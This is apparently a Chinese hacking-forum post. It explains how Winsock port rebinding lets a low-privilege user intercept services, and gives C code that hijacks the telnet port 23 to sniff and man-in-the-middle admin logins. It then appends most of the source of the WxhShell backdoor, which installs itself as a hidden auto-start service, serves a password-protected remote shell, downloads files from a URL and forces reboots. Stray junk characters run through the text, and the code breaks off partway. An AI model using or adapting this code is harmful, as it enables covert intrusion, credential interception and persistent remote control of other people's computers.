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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m]bv2S+5y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !Cm<K*c"&E  
g[rxK n\Z  
  saddr.sin_family = AF_INET; 'wo[iNy[  
b9ON[qOMN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kp4*|$]  
Jl"),;Od  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uc% &g  
> n~l\ fC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e7{n=M  
I 9yN TD  
  这意味着什么?意味着可以进行如下的攻击: h\ (z!7t*  
*cdr,AD?lH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 He)<S?X-6  
idm!6]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )\:cL GM  
=:+k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z2m%L0  
%SRUHx[D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1PMBo=SUe8  
OHqc,@a;+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $J/Z~ (=JT  
vrtK~5K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %$b)l? !  
k,L,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uC3o@qGW<  
 [69[Ct  
  #include oKIry 8'^N  
  #include ; &2J9  
  #include n7 RswX  
  #include    >IW0YIQy,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;79X# hI  
  int main() Wgl7)Xk.)  
  { SR 9 Cl  
  WORD wVersionRequested; i$) `U]  
  DWORD ret; KzRw)P  
  WSADATA wsaData; [sC]<2 r  
  BOOL val; {Gnji] v  
  SOCKADDR_IN saddr; dbTPY`  
  SOCKADDR_IN scaddr; ubV|s|J  
  int err; \*}JdEHB  
  SOCKET s; m6BIQ(l  
  SOCKET sc; h[D"O6 y  
  int caddsize; d}K"dr:W5  
  HANDLE mt; SRl:+!@.  
  DWORD tid;   }5H3DavW  
  wVersionRequested = MAKEWORD( 2, 2 ); 6#xP[hlR[  
  err = WSAStartup( wVersionRequested, &wsaData ); |x|#n  
  if ( err != 0 ) { 0`=#1u8  
  printf("error!WSAStartup failed!\n"); m*L*# ZBS  
  return -1; *P_ 3A:_  
  } DLYk#d: q?  
  saddr.sin_family = AF_INET; NymS8hxR  
   =J0X{Ovn4z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x+zz:^yHYf  
esH>NH_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nXDU8|"  
  saddr.sin_port = htons(23); <|~8Ezd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) huu:z3{=J  
  { =`5Xx(  
  printf("error!socket failed!\n"); rn l~i  
  return -1; g{@q  
  } 6(4FC?Y7  
  val = TRUE; +'abAST t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X>w(^L*>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ] (3e +JC  
  { -LL49P6  
  printf("error!setsockopt failed!\n"); \|Pp%U [  
  return -1; (W3~r  
  } jX^uNmb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8kQ >M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UY*3b<F}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  k%V#{t.  
Z~^)B8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `7qZ6Z3z@  
  { kP9DCDO`[5  
  ret=GetLastError(); \2#>@6Sqrl  
  printf("error!bind failed!\n"); +Zu*9&Cx  
  return -1; @Otom'O  
  } oD]tHuDa  
  listen(s,2); zhH-lMNj-  
  while(1) 1u&}Lq(  
  { w66iLQ\@  
  caddsize = sizeof(scaddr); >3V{I'^^-  
  //接受连接请求 T]d9tX-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h#9X0u7j  
  if(sc!=INVALID_SOCKET) [z$th  
  { Z@fMU2e=Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2xvTijO0  
  if(mt==NULL) !|{T>yy  
  { q"OvuHBSOn  
  printf("Thread Creat Failed!\n"); [psW+3{bG  
  break; <A +VS  
  } R]e?<,"X  
  } c%_I|h<?iT  
  CloseHandle(mt); ~"89NVk"  
  } $pK2H0c  
  closesocket(s); g+oSbC  
  WSACleanup(); 8KRm>-H)  
  return 0; {)]5o| Hx  
  }   |Id0+-V ?  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8%]o6'd4  
  { y@"6Dt|  
  SOCKET ss = (SOCKET)lpParam; (j;s6g0  
  SOCKET sc; L.XGD|m  
  unsigned char buf[4096]; W'x/Kg,w-  
  SOCKADDR_IN saddr; 6p%;:mDB  
  long num; p`lv$ @q'  
  DWORD val; 5y;texsj[  
  DWORD ret; -@{5 u d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I!?-lI@(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   UU')V  
  saddr.sin_family = AF_INET; 5Jd(&k8%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t<5 $85Y~  
  saddr.sin_port = htons(23); hnag <=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LIYj__4=|  
  { r9<OB`)3+  
  printf("error!socket failed!\n"); 45e-A{G~  
  return -1; n}(/>?/  
  } (055>D6  
  val = 100; L=4%MyZ.e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zq7Y('=`t@  
  { };"-6e/9  
  ret = GetLastError(); 9fr LYJz"  
  return -1; !t/I j~o  
  } f QSP]?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R{"Kh2q_  
  { Mz,G;x}  
  ret = GetLastError(); BH"f\oc  
  return -1; x5[wF6A  
  } ZYr6Wn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7}>7@W8  
  { F}p)Q$0  
  printf("error!socket connect failed!\n"); 9?$Qk0jc  
  closesocket(sc); I;xrw?=\L  
  closesocket(ss); JgQ,,p_V?  
  return -1; fz'@ON  
  } /<7'[x<  
  while(1) 'jAX&7G`  
  { xwK{}==U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q!7il<S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lky<L96  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PhTMXv<cE  
  num = recv(ss,buf,4096,0); <4r3ZV;'  
  if(num>0) *9J >3   
  send(sc,buf,num,0); F uYjrzmx  
  else if(num==0) a=n* }.  
  break; r]JV !'R  
  num = recv(sc,buf,4096,0); QP HibPP:  
  if(num>0) DJ)Q,l*|N9  
  send(ss,buf,num,0); 4mYJi#e6x  
  else if(num==0) |6@s6]%X}  
  break; PM ]|S`  
  } w)}' {]P"c  
  closesocket(ss); &c[.&L,w4  
  closesocket(sc); IZ?+c@t  
  return 0 ; +9EG6"..@H  
  } aY:u-1  
5dwC~vn}c  
hO8~Rg   
========================================================== hb@,fgo!Q  
q|N,?f9  
下边附上一个代码,,WXhSHELL tZ|0wPp  
)wT @`p"4  
========================================================== n{'LF #4l  
f8ucJ.{"  
#include "stdafx.h" nh"8on]M~  
:Y4 m3|  
#include <stdio.h> 05 56#U&>  
#include <string.h> R*PR21g  
#include <windows.h> E}-Y!,v^  
#include <winsock2.h> Lt'FA  
#include <winsvc.h> LT+QW  
#include <urlmon.h> /:S&1'=  
2Kg-ZDK8  
#pragma comment (lib, "Ws2_32.lib") $)or{Z$&  
#pragma comment (lib, "urlmon.lib") nulLK28q  
M/?*?B  
#define MAX_USER   100 // 最大客户端连接数 y}5:CZ  
#define BUF_SOCK   200 // sock buffer Twq/Y07M  
#define KEY_BUFF   255 // 输入 buffer -!Ov{GHr0  
Go;fQ yG  
#define REBOOT     0   // 重启 GN0s`'#"3%  
#define SHUTDOWN   1   // 关机 3.0t5F<B  
pUV4oyGV   
#define DEF_PORT   5000 // 监听端口 Uw!N;QsC  
rJz`v/:|P  
#define REG_LEN     16   // 注册表键长度 >]dH1@@  
#define SVC_LEN     80   // NT服务名长度 *WzvPl$e  
@O]v.<8  
// 从dll定义API I 0vJJP#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8cKP_Ec  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n?a?U:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q}zd!*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1@}s:  
*'l|ws  
// wxhshell配置信息 H;D CkVL  
struct WSCFG { 1 r9.JS  
  int ws_port;         // 监听端口 zEBUR%9  
  char ws_passstr[REG_LEN]; // 口令 NQ3EjARZt  
  int ws_autoins;       // 安装标记, 1=yes 0=no UiE 1TD{  
  char ws_regname[REG_LEN]; // 注册表键名 Bjc<d,]  
  char ws_svcname[REG_LEN]; // 服务名 wf`e3S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (JX 9c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /^M|$JRI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MP6Py@J45  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;N(9nX}%)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7gnrLc$]O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XbaUmCuh  
9YQYg@+R  
}; x?6 \C-i  
][?@) )  
// default Wxhshell configuration d,XNok{  
struct WSCFG wscfg={DEF_PORT, k=&UV!J  
    "xuhuanlingzhe", UD0#Tpd7  
    1, cLm|^j/  
    "Wxhshell", ;${_eab ]  
    "Wxhshell", bc3 T8(  
            "WxhShell Service", Bw Cwy  
    "Wrsky Windows CmdShell Service", L]e@. /C$  
    "Please Input Your Password: ", 0wE)1w<C~  
  1, O'.sK pXe  
  "http://www.wrsky.com/wxhshell.exe", xf|vz|J?y  
  "Wxhshell.exe" jCK 0+,;  
    }; 8M6wc394  
&P:2`\'  
// 消息定义模块 <FofRFaS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uXuA4o$t-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N~! G AaD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sZh| <2  
char *msg_ws_ext="\n\rExit."; D/oO@;`'c  
char *msg_ws_end="\n\rQuit."; !;%+1j?d  
char *msg_ws_boot="\n\rReboot..."; }trQ<*D  
char *msg_ws_poff="\n\rShutdown...";  k:i}xKu  
char *msg_ws_down="\n\rSave to "; E``\Jre@  
0J z|BE3Y  
char *msg_ws_err="\n\rErr!"; GOU>j "5}2  
char *msg_ws_ok="\n\rOK!"; J#) %{k_  
X%R)  
char ExeFile[MAX_PATH]; ^3O`8o  
int nUser = 0; i5; _  
HANDLE handles[MAX_USER]; )YY8`\F>1  
int OsIsNt; _t-e.2a v  
N2.(0 G  
SERVICE_STATUS       serviceStatus; spG3"Eodi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?' /#Gt`  
M{)|9F  
// 函数声明 Dd' 4W  
int Install(void); I7]qTS[vg  
int Uninstall(void); 2qDyb]9  
int DownloadFile(char *sURL, SOCKET wsh); ^@f-Ni\  
int Boot(int flag); :=oIvSnh  
void HideProc(void); XY)I~6$Y  
int GetOsVer(void); IfzW%UL  
int Wxhshell(SOCKET wsl); Sau?Y  
void TalkWithClient(void *cs); [J\! 2\Oo  
int CmdShell(SOCKET sock); g!I0UAm  
int StartFromService(void); <tI_u ~P  
int StartWxhshell(LPSTR lpCmdLine); 2q}lSa7r  
=2OLyZDI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )u>/:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L g2z `uv  
Aq,&p,m03  
// 数据结构和表定义 I~T~!^}U  
SERVICE_TABLE_ENTRY DispatchTable[] = j}aU*p~N  
{ K06x7W  
{wscfg.ws_svcname, NTServiceMain}, As+^6  
{NULL, NULL} 9R3YUW}s  
}; %T,cR>lw  
tdOox87YK  
// 自我安装 COFCa&m9c  
int Install(void) r 3FUddF'  
{ B#, TdP]/  
  char svExeFile[MAX_PATH]; ['_W <  
  HKEY key;  CT[CM+  
  strcpy(svExeFile,ExeFile); H$!sK  
/L; c -^  
// 如果是win9x系统,修改注册表设为自启动 'q7&MM'oS^  
if(!OsIsNt) { 58[.]f~0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fD~f_Wr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8c<OX!  
  RegCloseKey(key); a"!r]=r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +L-(Lz[p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gxCl=\  
  RegCloseKey(key); W.7XShwd*2  
  return 0; il~A(`+YO  
    } WKB K)=  
  } 2@>#?c7  
} LB/1To  
else { )~C+nb '6/  
It8s#oq8  
// 如果是NT以上系统,安装为系统服务 ,jJbQIu#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 19*D*dkBR  
if (schSCManager!=0) @XN*H- |  
{ (dHil#l  
  SC_HANDLE schService = CreateService # 5b   
  ( 6g 5Lf)yG  
  schSCManager, V!zU4!@qP  
  wscfg.ws_svcname, m/p:W/0L  
  wscfg.ws_svcdisp, 'M=V{.8U  
  SERVICE_ALL_ACCESS, :$^cY>o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KOit7+Q  
  SERVICE_AUTO_START, b>'y[P!  
  SERVICE_ERROR_NORMAL, _qjkiKm?1F  
  svExeFile, ,Wlw#1fP  
  NULL, 1+9}Xnxb  
  NULL, ,niQs+'<  
  NULL, =@s{H +  
  NULL, DpvMY94Qh  
  NULL %3es+A@  
  ); fa 2hQJ02  
  if (schService!=0) f <LRM  
  { aB2t/ua  
  CloseServiceHandle(schService); g;\_MbfP  
  CloseServiceHandle(schSCManager); T3In0LQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H&=fD` Xq  
  strcat(svExeFile,wscfg.ws_svcname); g&fq)d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3) _(t.$D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @  Br?  
  RegCloseKey(key); R@lA5w  
  return 0; 2T3b6  
    } ~vw$Rnotz  
  } a=AP*adx8  
  CloseServiceHandle(schSCManager); `c'R42S A  
} P|rreSv*  
} *B%ulsm  
\PM5B"MDZ  
return 1; v 0D@`C  
} 0'O6-1Li  
U@"f(YL+"  
// 自我卸载 r(p@{L185  
int Uninstall(void) I0v4TjHH  
{ VPUm4%?p$  
  HKEY key; FV5~sy  
RFT`r  
if(!OsIsNt) { N&]_U%#Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +J  <<me4  
  RegDeleteValue(key,wscfg.ws_regname); 4C`p`AQqpQ  
  RegCloseKey(key); DNGj81'c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x?n13C  
  RegDeleteValue(key,wscfg.ws_regname); +W^$my)<  
  RegCloseKey(key); +.IncY8C$  
  return 0; g%%j"Cz1  
  } f6JC>Np  
} k'PNfx\K  
} ;[!W*8.c  
else { ?.6fVSa  
4nU+Wj?T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ht&%`\9s  
if (schSCManager!=0) _7N^<'B  
{ %]fi;Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R[f@g;h  
  if (schService!=0) 9 $ Ud\   
  { d5l].%~  
  if(DeleteService(schService)!=0) { c-=z<:Kf  
  CloseServiceHandle(schService);  y aLc~K  
  CloseServiceHandle(schSCManager); k*!f@ M  
  return 0; ?~WDl j3  
  } QRlrcauM  
  CloseServiceHandle(schService); z~\Y*\f^Y3  
  } 5v5K}hx  
  CloseServiceHandle(schSCManager); 'FwNQzzt  
} uM@ve(8\  
} x|U[|i,;  
/}R*'y  
return 1; # mW#K  
} TA>28/U#  
*IV_evgM7  
// 从指定url下载文件 nx|b9W<  
int DownloadFile(char *sURL, SOCKET wsh) "XWO#,Ue  
{ zz1]6B*eX  
  HRESULT hr; 1D2Yued  
char seps[]= "/"; ,&0iFUwN_  
char *token; eWU@ @$9  
char *file; 7cly{U"  
char myURL[MAX_PATH]; <BhNmEo)2  
char myFILE[MAX_PATH]; E2yL9]K2  
=6< Am  
strcpy(myURL,sURL); t[HA86X  
  token=strtok(myURL,seps); %C~LKs5oH  
  while(token!=NULL) #uCE0}N@  
  { Rd>PE=u  
    file=token; V^qkHm e  
  token=strtok(NULL,seps); .;jp2^  
  } m$80D,3  
5<mGG;F  
GetCurrentDirectory(MAX_PATH,myFILE); sX|bp)Nw  
strcat(myFILE, "\\"); 8mv}-;  
strcat(myFILE, file); *."a>?D~  
  send(wsh,myFILE,strlen(myFILE),0); T Y*uK  
send(wsh,"...",3,0); T5? eb"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kC=h[<'  
  if(hr==S_OK) /6nj 4.xxc  
return 0; ]hjA,p@Q  
else l@<yC-Xd  
return 1; 2; ~jKR[~  
(sL!nRw  
} #*x8)6Ct  
jZP~!q  
// 系统电源模块 [ @`Ki  
int Boot(int flag) 7$|L%Sk  
{ YLFM3IaP  
  HANDLE hToken; [FN4_  
  TOKEN_PRIVILEGES tkp; ;ep@ )Y  
wH0Ks5  
  if(OsIsNt) { Nk@ag)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N9X`81)t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |!\5nix3A>  
    tkp.PrivilegeCount = 1; z3(:a'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,R5z`O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'o% .Q x  
if(flag==REBOOT) { b,o@ m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JmJNq$2#c  
  return 0; xI,7ld~  
} ^K`Vqo  
else { %xh A2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V;%DS)-  
  return 0; Ub%1OQ  
} J>%uak<  
  } ~2M+Me  
  else { _~a5;[~  
if(flag==REBOOT) { '1[Bbs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q|i`s=|  
  return 0; O&ZVu>`g  
} Yo a|.2f  
else { K f}h{X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >gGdzL  
  return 0; *$EcP`K$  
} T<S_C$O  
} X+;{&Efrl  
k(%h{0'  
return 1; w;8VD`>[|  
} M;zJ1  
~Lf>/w  
// win9x进程隐藏模块 X9/]< Y<!  
void HideProc(void) c/ s$*"  
{ ^yp`<=  
i)mQ?Y#o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \*.u (8~2o  
  if ( hKernel != NULL ) $zYo~5M?i-  
  {  SE D_^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D?6ah=:&R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V{+5Fas^l  
    FreeLibrary(hKernel); >4x~US[VB  
  } rWnZIt"  
U1~6o"1H  
return; +u]L# ].;  
} HVkq{W|w  
%MUh_63bB  
// 获取操作系统版本 EhK5<v}  
int GetOsVer(void) XX;MoE~MM  
{ XTPf~Te,=  
  OSVERSIONINFO winfo; 2nA/{W\hC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {Bm7'%i  
  GetVersionEx(&winfo); &&er7_Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j%@wQVxq  
  return 1; tG}cmK~%  
  else aH+n]J] =)  
  return 0; 0Er;l|  
} CHo(:A.U>  
H6/C7  
// 客户端句柄模块 b0ablVk  
int Wxhshell(SOCKET wsl)  %3A~&  
{ mb_~ "}A  
  SOCKET wsh; o u*`~K|R  
  struct sockaddr_in client; jg+q{ ^  
  DWORD myID; }"o,j>IP  
1KWGQJ%%s  
  while(nUser<MAX_USER) UKfpoDhEe  
{ A<|]>[ax  
  int nSize=sizeof(client); 3IHA+Zz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [G>U>[u|  
  if(wsh==INVALID_SOCKET) return 1; .L'eVLQe  
:3$-Qv X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +ZU@MOni  
if(handles[nUser]==0) \qB:z7I2  
  closesocket(wsh); IolKe:'>@  
else :HTV8;yc  
  nUser++; f{j (H?5  
  } :jU u_s}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _q /UDf1  
6nP-IKL  
  return 0; 3I%F,-r  
} c"x-_Uk  
8 DE%ot  
// 关闭 socket s%p,cz; ,  
void CloseIt(SOCKET wsh) Q\k|pg?  
{ p:@JCsH=  
closesocket(wsh); #V:28[  
nUser--; QXg9ah~  
ExitThread(0); s!Y`1h{  
} 9Vh>ty1|_  
whdoG{/  
// 客户端请求句柄 U9:w^t[Pp  
void TalkWithClient(void *cs) r"aJ&~8::W  
{  Z?_ t3  
 Lkl+f~m  
  SOCKET wsh=(SOCKET)cs; q]r?s%x  
  char pwd[SVC_LEN]; |E =8  
  char cmd[KEY_BUFF]; TU(w>v  
char chr[1]; g9K7_T #W  
int i,j; i<uWLhgh1$  
SB}0u=5  
  while (nUser < MAX_USER) {  q{*4BL'  
6}xFE]Df-Y  
if(wscfg.ws_passstr) { ^g eC?m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }:f \!b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;S_\- ]m&g  
  //ZeroMemory(pwd,KEY_BUFF); rW<sQ0   
      i=0; $b=4_UroS  
  while(i<SVC_LEN) { LtIw{* 3  
%A ^qm  
  // 设置超时 e+ckn   
  fd_set FdRead; pg:1AAhT[  
  struct timeval TimeOut; ="=Aac#n`  
  FD_ZERO(&FdRead); vx&r  
  FD_SET(wsh,&FdRead); @& vtY._  
  TimeOut.tv_sec=8; 2^.qKY@g@  
  TimeOut.tv_usec=0; ZN]LJ4|xu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Am&PH(}L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e6JT|>9A7  
n 0*a.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f+o%N  
  pwd=chr[0]; Pk 6l*+"r<  
  if(chr[0]==0xd || chr[0]==0xa) { B[Gl}(E  
  pwd=0; knU=#  
  break; ;[}<xw3):  
  } 3+` <2TP  
  i++; "spAYk\  
    } 8LZmr|/F*  
:6}y gL*i  
  // 如果是非法用户,关闭 socket A tU!8Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pm* N!:u  
} q;{# ~<"+  
Kf!8PR$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~=xS\@UY =  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?!$uMKyt  
1tMs\e-  
while(1) { ,&X7D]  
}&I^1BHZs  
  ZeroMemory(cmd,KEY_BUFF); yu>DVD  
~ d!F|BH4  
      // 自动支持客户端 telnet标准   (&y~\t] H  
  j=0; )n&@`>vm  
  while(j<KEY_BUFF) { Spt]<~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =5QP'Qt{O  
  cmd[j]=chr[0]; ?-g/hXx;  
  if(chr[0]==0xa || chr[0]==0xd) { dLq)Z*r  
  cmd[j]=0; l0%qj(4`6&  
  break; N-g=_86C"  
  } $%ts#56*  
  j++; I8RPW:B;B  
    } %1Pn;bUU!  
!L)~*!+Gf  
  // 下载文件 as%ab[ fX  
  if(strstr(cmd,"http://")) { E"|LA[o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kUp[b~  
  if(DownloadFile(cmd,wsh)) | ]DJz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^3B&E^R  
  else 1dgy-$H~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~VqDh*0  
  } wx,yx3c (  
  else { `l0&,]  
i{9_C/  
    switch(cmd[0]) { _3lci  
  ,%zU5hh  
  // 帮助 nn0`A3  
  case '?': { ygA~d9"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WHM|kt  
    break; N7b+GqYpF>  
  } e{<r<]/j  
  // 安装 +v7mw<6s  
  case 'i': { fA k]]PU  
    if(Install()) ^lp#j;Df  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [1\k'5rp  
    else 2{sx"/k\A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BcfW94  
    break; D V  
    } "Y> #=>8  
  // 卸载 Hlr[x  
  case 'r': { nX|f?5 O  
    if(Uninstall()) ?C[W~m P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8f? H#&  
    else :=iP_*#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +@ FM~q  
    break; cen[|yCtOH  
    } Nzo;j0 [  
  // 显示 wxhshell 所在路径 YA:7^-Bv  
  case 'p': { B3j   
    char svExeFile[MAX_PATH]; c89+}]mGq  
    strcpy(svExeFile,"\n\r"); X(`wj~45VX  
      strcat(svExeFile,ExeFile); 4NY}=e5  
        send(wsh,svExeFile,strlen(svExeFile),0); zree}VqD;5  
    break; gNsas:iGM  
    } 9uNkd2 #  
  // 重启 -Dx_:k|k  
  case 'b': { !Rq.L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1TagQ  
    if(Boot(REBOOT)) <yw6Om:n<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xE2sb*  
    else { &RzkM4"  
    closesocket(wsh); WB7pdSZ  
    ExitThread(0); xn fMx$fD  
    } gB;5&;T:  
    break; #%;QcDXRe  
    } 5 +Ei! E89  
  // 关机 us ,!U  
  case 'd': { *u i!|;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v*.[O/,EBR  
